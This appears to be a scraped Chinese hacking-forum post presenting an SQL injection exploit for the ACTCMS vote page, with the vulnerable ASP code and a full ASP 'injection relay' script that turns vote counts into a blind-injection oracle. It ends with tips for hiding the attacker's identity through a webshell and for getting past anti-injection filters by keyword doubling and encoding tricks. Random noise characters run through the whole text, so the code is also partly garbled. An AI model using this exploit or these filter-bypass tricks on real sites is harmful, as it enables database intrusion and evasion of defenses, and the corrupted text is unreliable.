5 S$ w0 C. v0 ?6 e" l$ O: _看到ninty大牛的blog的一篇文章* X' b z$ G* R! F5 @7 t0 F
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
" H4 n, s% m8 G6 O- g- {) x9 J关于actcms漏洞的利用 by 3x qq:3818625894 a' T5 L3 _; D0 O6 _' T) H0 N& M
转载请注明以上2 r7 V" j; a) _' R. g- C( _
漏洞文件:: w) t! L+ ^$ M; U
/plus/vote/vote.asp
1 m1 o' s( A# o7 Z, p代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 7 |1 A+ l" ]+ P% c o, l3 k$ l6 Z
0 x% X3 V" C4 U; g* a6 i. L% X
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
3 f8 |3 R! `" n! x5 {) i: G% G |0 m
3 response.end
4 ?9 [" K7 i5 s, P. w6 }
1 a( U. w, Z3 ^+ ]/ R3 K4 end if 6 f; y: u; H! B8 i0 s
& Q: s9 X6 O1 i' u6 N
5 for i=1 to request("voted").count 2 R; k3 w& v/ @
! }# k5 S, c* @1 y9 \
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
+ `7 m9 ~% y. G) n b! O: o1 b' {- u5 H2 c* l) R( t, s( K
7 next
1 e! K5 t8 t/ {+ n& d% k4 M+ D9 }
3 q. y- A0 z: s ?% ]$ ?1 ]! Q8....
+ d' r! ]/ b) C% ]* g
- e4 V) k7 g A/ L. G& K9response.Redirect "index.asp?id="&id&""
6 U* Q7 l4 C0 U; N投票结束回跳转回index.asp这个投票结果页面+ T- A: F3 e) A* @8 i: \
如果投票成功票数加10 `+ m+ [( v$ R9 K* E" @
失败票数不变 \% n8 F% p. H6 ]* X) a1 [7 w
如图:$ E2 O& V0 `& p% ~( A3 U
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
6 Y3 p" B) q! [ T2 D2 x- p/ u- ]8 |8 Y. E5 ~% G
2009-12-27 13:20" s9 M3 O; t5 g7 @2 J# ^
7 z' `! G6 k$ C% t3 S& F1 h8 W
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
2 T: Y6 y( B- b! w+ |$ [7 v# u2 d. A2 x6 F
本帖隐藏的内容需要回复才可以浏览1 [( R1 \; v4 X2 a0 m
我们用注入中转来实现这个注入具体代码如下:3 b6 [0 u3 ^; N" }6 J2 M* G
先用寂寞的刺猬大牛的注入中转生成jmget.asp
( Y% y4 M& L4 m Q. t7 y" v1 p$ G注入地址:http://localhost/actcms/plus/vote/vote.asp
. a- H! }& [6 e) V7 f( o注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项! A. I9 Z H9 P1 {
- b! C0 J L5 D' ]$ ^然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 w6 }3 a" W! p8 e9 t/ l' |4 u; @5 r
# T: d% w! [% W2 q3 W8 J# Z02JmdcwName=request("jmdcw")
* S# B6 {, [0 t: Y1 B; K' q+ S
9 Y" \9 l: i' T8 e03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] # F( `4 W& @8 k, @& f: E' C
/ Y3 b0 `% N, a% c, F04JmStr="id=1&voted=-1 or 1="&JmdcwName 9 g* P% n F" ^
1 c0 F8 I7 A, |- i7 f" J
05JmStr=URLEncoding(JmStr)
# U5 w p8 J3 i( `. M, \( E" A) o3 R, o# ]. m
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
" I9 Z6 a+ N1 ^7 u5 v: o
# X; y4 w' s6 b" u5 s07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"1 v' e; U4 Y/ G( P5 X
; }2 K9 Q# z3 q* S7 _ z
08testurl=testurl & "?" & JmStr V8 z6 B3 E Q
5 F) g4 d' U5 \( Z7 }4 S/ ^09JMUrl=JMUrl & "?" & JmStr ; C/ `4 ?1 o9 L7 K+ d* j" A
1 j& x; ~0 |. s2 \, G2 R. T/ i
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"2 R; t( N. Q; H: w
" W% @6 S6 ^ x* f* i( ~
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! ~3 k- v Y" O( n7 F1 X1 H' X$ ?. ^6 A3 s% c
12JmCok=replace(JmCok,chr(32),"%20")
" f# b1 Z# }) b: J% z3 H1 f. x6 E* m+ d
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" n) E e3 j6 e% c+ q @. g, ?3 x9 ?; S/ |
14
& d3 O7 E% l& s' [+ s+ M) U7 x, z3 f" R+ x" r9 i8 Z! E8 G0 y
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 , C- ~' C1 j( l9 U: |6 H' \, r% u
6 x% @+ c& o' r; A% T: K5 ]
16
0 w: j+ M% n! p4 [
, }" w. A+ {+ W0 |4 Z17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# J% q* g; m$ v6 x
2 S1 v+ V% R6 G/ n: k18response.write test1&""&test2&""
2 e9 i+ c( [9 z0 b N4 F2 X0 T
6 r; G: q4 n9 T5 L19 # _0 D) w3 \ M' X# y" ]
H: o3 H. X: ]/ C' n* v$ y2 i5 e20if test1=test2 then '如前后记录相等,表示失败 6 o7 v- ~+ [6 c; C, Y; ~
7 w/ W; _. n/ ?! W21 response.write "failed". c9 g0 X- _8 v
! ^6 j$ c" |& D% ^4 s% s" y3 ~22else
$ s8 W# n" [6 t* T, ~( o( u- x- S4 _6 Q: a& }
23 response.write "succeed"! x- O. r" M p. ]# x3 ^
- R% ~! Y: ]3 n" M) P8 |& b6 d; f24end if
8 ^ {4 b* ?( ` Y! s" B3 h, U4 X
. p0 X+ V- Q) X% R U/ d2 F8 u25
1 E ~$ C. `2 w3 U7 j( \
* z: B8 h7 W, ?- x( B26response.write "by 3x"
/ g3 S) j% A0 t1 X! v2 j+ ~. D1 R; K9 O3 d5 y
27 8 E$ l4 Q: n, u
6 {" T& c0 c) H28
$ K+ M: O1 T* s8 P; i2 G: M! W8 Y2 D( r' Q9 M" B8 V& r: l
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
3 E" S$ X( n, N6 v# B/ h( _- c" ~+ U5 ~8 v: W3 E% [, b3 K
30Dim Http
" Y0 O) [* n, t0 I2 {2 j- W: s. i. Y
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
# T* d3 M X6 d9 R- i+ m& }$ P+ F# z! L
32With Http
' k9 V! r% I' K0 ~8 l- R
, P/ S8 t) @/ e: ^0 J$ ?, |33
( m, K- M7 x$ A; l# ]& G5 ^. b6 F. a
34.Open "GET",PostUrl,False
; B) H5 p# F7 v ~0 F2 k" D, S
5 F6 }4 P. q- c# h# m35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
4 M- w$ }# h& W& p0 V% a) h- U) a
. w- t& w+ h( \2 x. a% O36.SetRequestHeader "Referer",PostRef - X- h: j4 ` c1 ? U* A. K& w
3 s6 ^) A; B' |/ h( ^& ~% R
37.SetRequestHeader "Cookie",PostCok 8 p% r' @* L) M8 i* _
w# ]# w" l4 |4 G
38.Send () 1 I) Z- E# R! c3 |6 ?9 q% y
6 i: t( x! a, r( s! R/ Q' Q; r39PostData = .ResponseBody
1 p+ j' h* \( d5 s% X& J3 _
4 T' R8 p6 ^$ S6 b4 K. c: N1 y40End With
- @8 \/ k/ B6 i" W& c+ h
6 r0 @. K# d: Z% @; b41Set Http = Nothing
, M# U! M3 k4 v; _1 r: f4 x2 l0 @' k5 J4 h9 W4 j' h
42PostData =bytes2BSTR(PostData) 9 s7 {5 c7 o4 e0 u! R
! O# q& t1 h9 F5 I7 Z43End Function
6 L/ P' v9 s0 B
& N/ Q* R0 J3 d& f. ?2 Z; V44
7 d6 @% @. I( I( Q' w0 B% g: _# D* t- r3 e: e3 F
45 ) y) s1 q2 A c
1 E4 }# k' G8 A* ?+ V1 b) M8 q46Function bytes2BSTR(vIn)
3 ?2 I( D8 u, \3 G3 K# I/ T7 O! |5 E: ~, h. d8 {2 a
47Dim strReturn
# N& e! }6 { a
/ [/ m9 U$ s# @9 s* i48Dim I, ThisCharCode, NextCharCode & S5 w# ~! O. P# p; `% D( L
! p8 h6 w4 h/ l4 A8 T1 j3 a49strReturn = "" i4 Q: D2 W6 n
' w; O, M) @0 K# R
50For I = 1 To LenB(vIn) . `- M- L: P9 O, Y- _3 ~
- A8 G' F- v. z# M- x51ThisCharCode = AscB(MidB(vIn, I, 1))
8 `6 e, Y* s, b7 H* P& ~+ g
3 i% |; m9 [6 I. R! h52If ThisCharCode < &H80 Then
3 }. ?& x$ f- o. A, p9 d
: k# |6 J( Y* G$ y0 P. T53strReturn = strReturn & Chr(ThisCharCode) 0 K2 Q }9 H% |/ l
! Y i( N* [* `4 p" i" B
54Else" A8 w$ l) H W: z# {2 c; g
( y- u( a2 v1 }1 A55NextCharCode = AscB(MidB(vIn, I + 1, 1))
6 X8 N6 T$ c* z p1 P' V
, L" g9 p5 B; U: z/ c56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) / B0 ?" Q$ ~8 `1 n% g% w- W
- [ ?, c) \5 x# Z, L: c" u* T
57I = I + 1 " f6 F, k v7 a
- s% _( z0 h( u: O6 w58End If' T: w' {0 ~" b0 [) a5 O8 n; }/ p
6 `( l& x6 R5 p( I# N1 S w! n59Next
{! Q3 M- i; w4 |! p1 w- P8 Z) y D# Y/ w6 X6 H5 u
60bytes2BSTR = strReturn
0 q0 o/ M' }7 _- P/ }7 J Y) F. p3 N6 N Y' x8 \& z4 Y
61End Function
( Y8 D1 U" _# a: ^; [. n: K% [$ ]: ?* S6 x& J. o
62
4 H- U8 h; D: g W# _# ]3 ^; \$ d6 i' j
63Function URLEncoding(vstrin)
; p) O3 ~0 G, y3 K
9 W$ K! D7 `8 u; d# p4 c64strReturn=""0 N) V" s4 u1 _- Q: [
. n( Q& z6 V4 w, G
65Dim i 1 C& s) Q1 K \6 R7 `6 V* s9 u
( b! y5 h h& s3 c$ E" { ?66For i=1 To Len(vstrin)
$ R! m5 V* R8 o, N' p- }& g2 L6 k! C# Q" E( o; ^* F9 @
67ThisChr=Mid(vstrin,i,1)
. I8 \) _: O" P: L6 m, ~# x! z" X% a# R1 O! C1 t
68if Abs(Asc(ThisChr))< &HFF Then* X% G5 ~ P% q9 S
i7 t! t+ R. U% g* _2 T& g; `% S7 v
69strReturn=strReturn & ThisChr 2 r, F5 r- I& W% B- r; |
0 o ?9 i9 n9 q* } N: Z; D K, d
70Else8 V: d* @2 P0 I
F/ i( B, s r
71InnerCode=Asc(ThisChr)
: y' c9 b% F9 E3 v* Z4 V% ]: Y0 W- c5 D9 R
72If InnerCode<0 Then, ]: z3 U U# _
$ M4 L0 D. X. \( e+ j) q0 L; ~0 o73InnerCode=InnerCode + &H10000
2 P% c$ d5 a4 T+ @! L: ]+ a* W* J# a. H
74End If
3 X& ?5 W5 X C% \9 q+ b; q* e1 _( P0 X: v1 {- P' `8 B2 G9 N2 ~
75Hight1=(InnerCode And &HFF00) \&HFF
, g1 L0 I& @ ?8 |( U
+ k( G# h8 t7 V3 U76Low1=InnerCode And &HFF
5 U, b1 \7 A5 e+ `+ B, z% o F1 j
8 m# y' N# O* _" \9 J77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) % ~. x( B+ R$ _+ U+ m+ y
+ D( ^* q0 E: G: X7 [1 W5 l" ?0 q78End if
2 `! p" q4 B- V+ r; S* b, q) I0 ]
79Next0 b$ b" o2 k0 ^
4 z( z! G" x6 \5 J9 ~
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
1 Z* E# Y5 s. ^$ l" ^5 ^2 H4 _! j8 u# O
7 j: O9 _0 P4 b. y' ?81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
% w( u" c! g+ t: m9 N, t1 d6 v1 {8 k/ s/ q- W+ c' F0 X+ K6 v
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
. Y! c/ H) _0 P. B
5 [# K/ F. O, H: t83URLEncoding=strReturn : {" f- Y U7 W1 r5 ?9 @" O
" t) n N4 N8 a. ^# [+ j84End Function+ G5 P) p. [8 b- a. g( U4 }
' [' [8 S3 j. B85 ( i6 g- @5 s( Y3 m; k
9 l7 k0 c* o3 o7 v! o# }! G* {86function getSt(body) `5 U6 p7 J% g# _
* n6 s6 d9 M& x* o87 startpot=instr(body,"投票人数:")+len("投票人数:")
0 Q" [, a X; P: r0 E8 x2 s* U
. g- c. ~- f9 ]- [" n8 }, |- g88 endpot=instr(startpot,body," ")
" Z$ V. L+ P) Y* w3 F$ O
; `4 }. `" J3 f/ |89 getSt=mid(body,startpot,endpot-startpot)
9 b# O0 @4 _! I0 U+ w$ t7 P- V; ?" V6 q+ @; d$ G) V, _- E$ c! s
90end function
" a& G9 [! L. B4 ~
( q- ]& J, h% s o! I- ?91%>
+ p0 P9 d+ }8 M1 C注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了0 |7 ~8 s3 D( S( E; Q' N
测试下效果:' t/ E# x) P6 _3 s$ t
投票成功:1 j7 x# P* d/ ?7 Q% V
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
^) m5 Z1 b/ q9 T/ ~' L4 B) J" V# f" Q+ n: O
2009-12-27 13:29
; \+ W' _$ |6 a2 J l' u投票失败
/ x; [' @% ]# O5 G4 I* S6 k' \http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)' s1 }) @( b( M: t. c
1 S5 i- m! V7 N, ?7 i& {; Q
2009-12-27 13:29
* \0 K1 L+ P# c1 Y+ y-------------------------------------------------------------------------------- l9 L8 ?* f& P/ @0 y5 U
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以) X! w2 w7 w3 R8 V
很抱歉。。。只能用单线程工具去注入。。。。。3 k# c0 N( D+ Y9 B
所以失败。。。不好意思。。。, [! p% o: d$ d) P. c/ }
-------------------------------------------------------------------------------* I% n3 K: ]$ X
9 v9 o& R+ }! U注入中转的一些其他应用0 i9 G6 p+ c/ d; J8 Q
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了/ \ H* C( ]/ f0 f' h
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
; o: L1 e; |/ @8 o$ [2.post注入转成get型的注入,方便我们使用工具来跑% {# k9 w5 j2 Q
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
; x- A1 Y) i2 y) P* O4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
" U, E1 n# M M* i/ [* [) m5 @" w* O2 D/ l! X( P) ~2 ]0 L
|